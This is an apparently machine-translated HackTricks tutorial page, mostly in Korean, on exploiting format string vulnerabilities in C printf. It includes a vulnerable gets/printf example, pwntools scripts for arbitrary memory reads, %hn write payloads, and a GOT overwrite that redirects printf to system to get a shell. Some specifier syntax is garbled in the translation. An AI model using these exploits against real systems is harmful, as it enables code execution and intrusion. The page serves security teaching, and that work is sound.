hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings
2024-07-18 22:23:19 +00:00
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format-strings-template.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:39:08 +00:00
README.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:23:19 +00:00

Format Strings

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
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{% endhint %}

Basic Information

C에서 **printf**는 문자열을 출력하는 데 사용할 수 있는 함수입니다. 이 함수가 기대하는 첫 번째 매개변수형식 지정자가 포함된 원시 텍스트입니다. 다음 매개변수는 원시 텍스트의 형식 지정자대체할 입니다.

취약점은 공격자 텍스트가 이 함수의 첫 번째 인수로 사용될 때 나타납니다. 공격자는 printf 형식 문자열 기능을 악용하여 특별한 입력을 조작하여 읽을 수 있는/쓸 수 있는 모든 주소의 데이터를 읽고 쓸 수 있습니다. 이렇게 하여 임의 코드를 실행할 수 있습니다.

Formatters:

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

예시:

  • 취약한 예시:
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • 일반 사용:
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • 인수가 누락된 경우:
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.

포인터 접근

형식 %<n>$x, 여기서 n은 숫자,는 printf에게 스택에서 n번째 매개변수를 선택하도록 지시합니다. 따라서 printf를 사용하여 스택에서 4번째 매개변수를 읽고 싶다면 다음과 같이 할 수 있습니다:

printf("%x %x %x %x")

그리고 첫 번째부터 네 번째 매개변수까지 읽을 수 있습니다.

또는 다음과 같이 할 수 있습니다:

printf("$4%x")

and read directly the forth.

Notice that the attacker controls the printf 매개변수, 이는 기본적으로 그의 입력이 printf가 호출될 때 스택에 있을 것임을 의미하며, 이는 그가 스택에 특정 메모리 주소를 쓸 수 있음을 의미합니다.

{% hint style="danger" %} 이 입력을 제어하는 공격자는 스택에 임의의 주소를 추가하고 printf가 이를 접근하게 만들 수 있습니다. 다음 섹션에서는 이 동작을 사용하는 방법이 설명될 것입니다. {% endhint %}

임의 읽기

형식 지정자 **$n%s**를 사용하여 **printf**가 n 위치에 있는 주소를 가져와서 문자열처럼 출력할 수 있습니다(0x00이 발견될 때까지 출력). 따라서 바이너리의 기본 주소가 **0x8048000**이고, 사용자 입력이 스택의 4번째 위치에서 시작된다는 것을 알고 있다면, 다음과 같이 바이너리의 시작 부분을 출력할 수 있습니다:

from pwn import *

p = process('./bin')

payload = b'%6$p' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

{% hint style="danger" %} 입력의 시작 부분에 주소 0x8048000을 넣을 수 없다는 점에 유의하세요. 그 주소의 끝에서 문자열이 0x00으로 잘리기 때문입니다. {% endhint %}

임의 쓰기

포맷터 **$<num>%n**은 스택의 <num> 매개변수에 있는 지정된 주소쓰기 바이트 수작성합니다. 공격자가 printf를 사용하여 원하는 만큼의 문자를 쓸 수 있다면, 그는 **$<num>%n**을 사용하여 임의의 주소에 임의의 숫자를 쓸 수 있게 됩니다.

다행히도, 숫자 9999를 쓰기 위해 입력에 9999개의 "A"를 추가할 필요는 없습니다. 그렇게 하기 위해 포맷터 **%.<num-write>%<num>$n**을 사용하여 <num-write> 숫자를 num 위치가 가리키는 주소에 쓸 수 있습니다.

AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

그러나 일반적으로 0x08049724와 같은 주소를 쓰기 위해서는 (한 번에 쓰기에는 매우 큰 숫자입니다), **$hn**이 $n 대신 사용됩니다. 이렇게 하면 2바이트만 쓸 수 있습니다. 따라서 이 작업은 주소의 가장 높은 2바이트와 가장 낮은 2바이트를 위해 각각 두 번 수행됩니다.

따라서 이 취약점은 임의의 주소에 무엇이든 쓸 수 있게 합니다.

이 예제의 목표는 나중에 호출될 함수주소덮어쓰는 것입니다. 비록 이것이 다른 임의 쓰기를 악용하여 exec 기술을 사용할 수 있지만:

{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}

우리는 사용자로부터 인수받는 함수덮어쓰고, 이를 system 함수를 가리키도록 할 것입니다.
언급했듯이 주소를 쓰기 위해서는 일반적으로 2단계가 필요합니다: 먼저 주소의 2바이트를 쓰고, 그 다음에 나머지 2바이트를 씁니다. 이를 위해 **$hn**이 사용됩니다.

  • HOB는 주소의 2개의 높은 바이트를 호출합니다.
  • LOB는 주소의 2개의 낮은 바이트를 호출합니다.

그런 다음, 포맷 문자열의 작동 방식 때문에 먼저 더 작은 [HOB, LOB]를 쓰고 그 다음에 다른 것을 써야 합니다.

HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

{% code overflow="wrap" %}

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

{% endcode %}

Pwntools 템플릿

이러한 종류의 취약점을 위한 익스플로잇을 준비하는 템플릿은 다음에서 찾을 수 있습니다:

{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}

또는 여기에서 이 기본 예제를 확인하세요:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

다른 예제 및 참고자료

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{% endhint %}